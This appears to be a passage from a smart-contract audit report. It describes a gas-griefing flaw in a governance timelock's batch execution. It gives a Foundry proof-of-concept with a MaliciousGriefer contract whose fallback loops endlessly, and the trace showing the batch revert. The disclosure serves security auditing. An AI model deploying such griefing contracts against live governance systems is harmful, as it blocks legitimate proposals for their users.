Within the `executeBatch()` function, external calls are made sequentially in a loop:
```solidity
for (uint256 i = 0; i < targets.length; i++) {
(bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
if (!success) {
revert CallReverted(id, i);
}
}
```
If one of the target addresses is a contract with a malicious `fallback` function designed to consume an excessive amount of gas (e.g., via an infinite loop), the entire batch execution will fail due to an out-of-gas error and that'll stop other proposal from beinng executed.
### Proof of Concept
The following unit test demonstrates the vulnerability using a malicious contract (MaliciousGriefer) with a fallback function that consumes infinite gas:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../contracts/core/tokens/veRAACToken.sol";
import "../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
// Mock RAAC token for voting power (not necessarily minted in proposals)
contract MockRAAC is ERC20 {
constructor() ERC20("Mock RAAC", "RAAC") {
_mint(msg.sender, 2_200_000 * 10 ** 18); // Enough for proposers and voters
}
}
// Malicious contract to demonstrate gas griefing
contract MaliciousGriefer {
fallback() external payable {
while (true) {
assembly { sstore(0, 1) } // Infinite gas consumption
}
}
}
contract GovernanceTest is Test {
Governance governance;
veRAACToken veToken;
TimelockController timelock;
MockRAAC raac;
MaliciousGriefer griefer;
address admin = address(this);
address[] proposers;
address[] executors;
address[] voters;
uint256 constant ONE_DAY = 1 days;
uint256 constant SEVEN_DAYS = 7 days;
function setUp() public {
// Deploy MockRAAC and veRAACToken
raac = new MockRAAC();
veToken = new veRAACToken(address(raac));
griefer = new MaliciousGriefer();
// Initialize 5 proposers and 5 executors
for (uint256 i = 0; i < 5; i++) {
proposers.push(address(uint160(i + 1)));
executors.push(address(uint160(i + 6)));
}
// Initialize 20 voters
for (uint256 i = 0; i < 20; i++) {
voters.push(address(uint160(i + 11)));
}
// Deploy TimelockController with 2-day delay
timelock = new TimelockController(2 days, proposers, executors, admin);
// Deploy Governance contract
governance = new Governance(address(veToken), address(timelock));
// Grant roles to Governance contract in Timelock
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
// Fund TimelockController with ETH for transfers
vm.deal(address(timelock), 10 ether);
// Distribute RAAC tokens and lock them for voting power
for (uint256 i = 0; i < proposers.length; i++) {
raac.transfer(proposers[i], 400_000 * 10 ** 18); // 400K RAAC
vm.startPrank(proposers[i]);
raac.approve(address(veToken), 400_000 * 10 ** 18);
veToken.lock(400_000 * 10 ** 18, 365 days); // Assume 1-year lock for voting power
vm.stopPrank();
}
for (uint256 i = 0; i < voters.length; i++) {
raac.transfer(voters[i], 10_000 * 10 ** 18); // 10K RAAC
vm.startPrank(voters[i]);
raac.approve(address(veToken), 10_000 * 10 ** 18);
veToken.lock(10_000 * 10 ** 18, 365 days);
vm.stopPrank();
}
}
// Helper function to create a proposal (transfer ETH to a voter)
function _createProposal(address proposer_) internal returns (uint256) {
vm.startPrank(proposer_);
address[] memory targets = new address[](1);
targets[0] = voters[0]; // Target: a voter receives ETH
uint256[] memory values = new uint256[](1);
values[0] = 1 ether; // Sending 1 ETH
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = ""; // Empty calldata for ETH transfer
string memory description = "Send 1 ETH to voter";
IGovernance.ProposalType proposalType = IGovernance.ProposalType.ParameterChange;
uint256 proposalId = governance.propose(targets, values, calldatas, description, proposalType);
vm.stopPrank();
return proposalId;
}
function testGasGriefingInExecuteBatch() public {
// Step 1: Create a proposal with a malicious target
vm.startPrank(proposers[0]);
address[] memory targets = new address[](3);
targets[0] = voters[0]; // Legitimate target: receives 1 ETH
targets[1] = address(griefer); // Malicious target: gas griefer
targets[2] = voters[1]; // Legitimate target: receives 1 ETH
uint256[] memory values = new uint256[](3);
values[0] = 1 ether;
values[1] = 0; // No ETH to griefer, just trigger fallback
values[2] = 1 ether;
bytes[] memory calldatas = new bytes[](3);
calldatas[0] = ""; // Empty: ETH transfer
calldatas[1] = ""; // Empty: Triggers griefer fallback
calldatas[2] = ""; // Empty: ETH transfer
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Test gas griefing",
IGovernance.ProposalType.ParameterChange
);
vm.stopPrank();
// Step 2: Vote to make it Succeeded
vm.warp(block.timestamp + ONE_DAY + 1);
for (uint256 i = 0; i < 10; i++) {
vm.startPrank(voters[i]);
governance.castVote(proposalId, true);
vm.stopPrank();
}
// Step 3: Warp to Succeeded state
vm.warp(block.timestamp + SEVEN_DAYS);
assertEq(
uint256(governance.state(proposalId)),
uint256(IGovernance.ProposalState.Succeeded),
"State should be Succeeded"
);
// Step 4: Queue the proposal
vm.prank(proposers[0]);
governance.execute(proposalId);
assertEq(
uint256(governance.state(proposalId)),
uint256(IGovernance.ProposalState.Queued),
"State should be Queued"
);
// Step 5: Warp past timelock delay and attempt execution
vm.warp(block.timestamp + 2 days + 1);
uint256 initialBalanceVoter0 = voters[0].balance;
uint256 initialBalanceVoter1 = voters[1].balance;
// Expect failure due to gas griefing (out of gas)
vm.expectRevert();
vm.prank(proposers[0]);
// Set a gas limit to simulate realistic conditions (e.g., 1M gas)
governance.execute{gas: 1_000_000}(proposalId);
assertEq(
voters[1].balance,
initialBalanceVoter1,
"Second target should not receive ETH due to gas griefing"
);
}
}
```
the output
```yaml
├─ [0] VM::prank(ECRecover: [0x0000000000000000000000000000000000000001])
│ └─ ← [Return]
├─ [971670] Governance::execute(0)
│ ├─ [512] veRAACToken::getTotalVotingPower() [staticcall]
│ │ └─ ← [Return] 550000000000000000000000 [5.5e23]
│ ├─ [6448] TimelockController::hashOperationBatch([0x000000000000000000000000000000000000000b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x000000000000000000000000000000000000000C], [1000000000000000000 [1e18], 0, 1000000000000000000 [1e18]], [0x, 0x, 0x], 0x0000000000000000000000000000000000000000000000000000000000000000, 0xf0aa4a9e5b8e72996d6cd209c5d7794e1767f23e7ab6352ad92e75735613eafa) [staticcall]
│ │ └─ ← [Return] 0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376
│ ├─ [1127] TimelockController::isOperationPending(0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376) [staticcall]
│ │ └─ ← [Return] true
│ ├─ [6448] TimelockController::hashOperationBatch([0x000000000000000000000000000000000000000b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x000000000000000000000000000000000000000C], [1000000000000000000 [1e18], 0, 1000000000000000000 [1e18]], [0x, 0x, 0x], 0x0000000000000000000000000000000000000000000000000000000000000000, 0xf0aa4a9e5b8e72996d6cd209c5d7794e1767f23e7ab6352ad92e75735613eafa) [staticcall]
│ │ └─ ← [Return] 0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376
│ ├─ [1528] TimelockController::isOperationReady(0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376) [staticcall]
│ │ └─ ← [Return] true
│ ├─ [924631] TimelockController::executeBatch([0x000000000000000000000000000000000000000b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x000000000000000000000000000000000000000C], [1000000000000000000 [1e18], 0, 1000000000000000000 [1e18]], [0x, 0x, 0x], 0x0000000000000000000000000000000000000000000000000000000000000000, 0xf0aa4a9e5b8e72996d6cd209c5d7794e1767f23e7ab6352ad92e75735613eafa)
│ │ ├─ [0] 0x000000000000000000000000000000000000000b::fallback{value: 1000000000000000000}()
│ │ │ └─ ← [Stop]
│ │ ├─ [870411] MaliciousGriefer::fallback()
│ │ │ └─ ← [OutOfGas] EvmError: OutOfGas
│ │ └─ ← [Revert] CallReverted(0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376, 1)
│ └─ ← [Revert] CallReverted(0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376, 1)
├─ [0] VM::assertEq(0, 0, "Second target should not receive ETH due to gas griefing") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.80ms (10.07ms CPU time)
Ran 1 test suite in 1.71s (18.80ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
In the test, a proposal is created with a batch that includes a call to MaliciousGriefer. When `executeBatch()` is called, the malicious fallback function causes an out-of-gas error, and the call reverts with a CallReverted error.
Test logs indicate that the execution failed due to the malicious contract, confirming that the batch operation will be disrupted by gas griefing.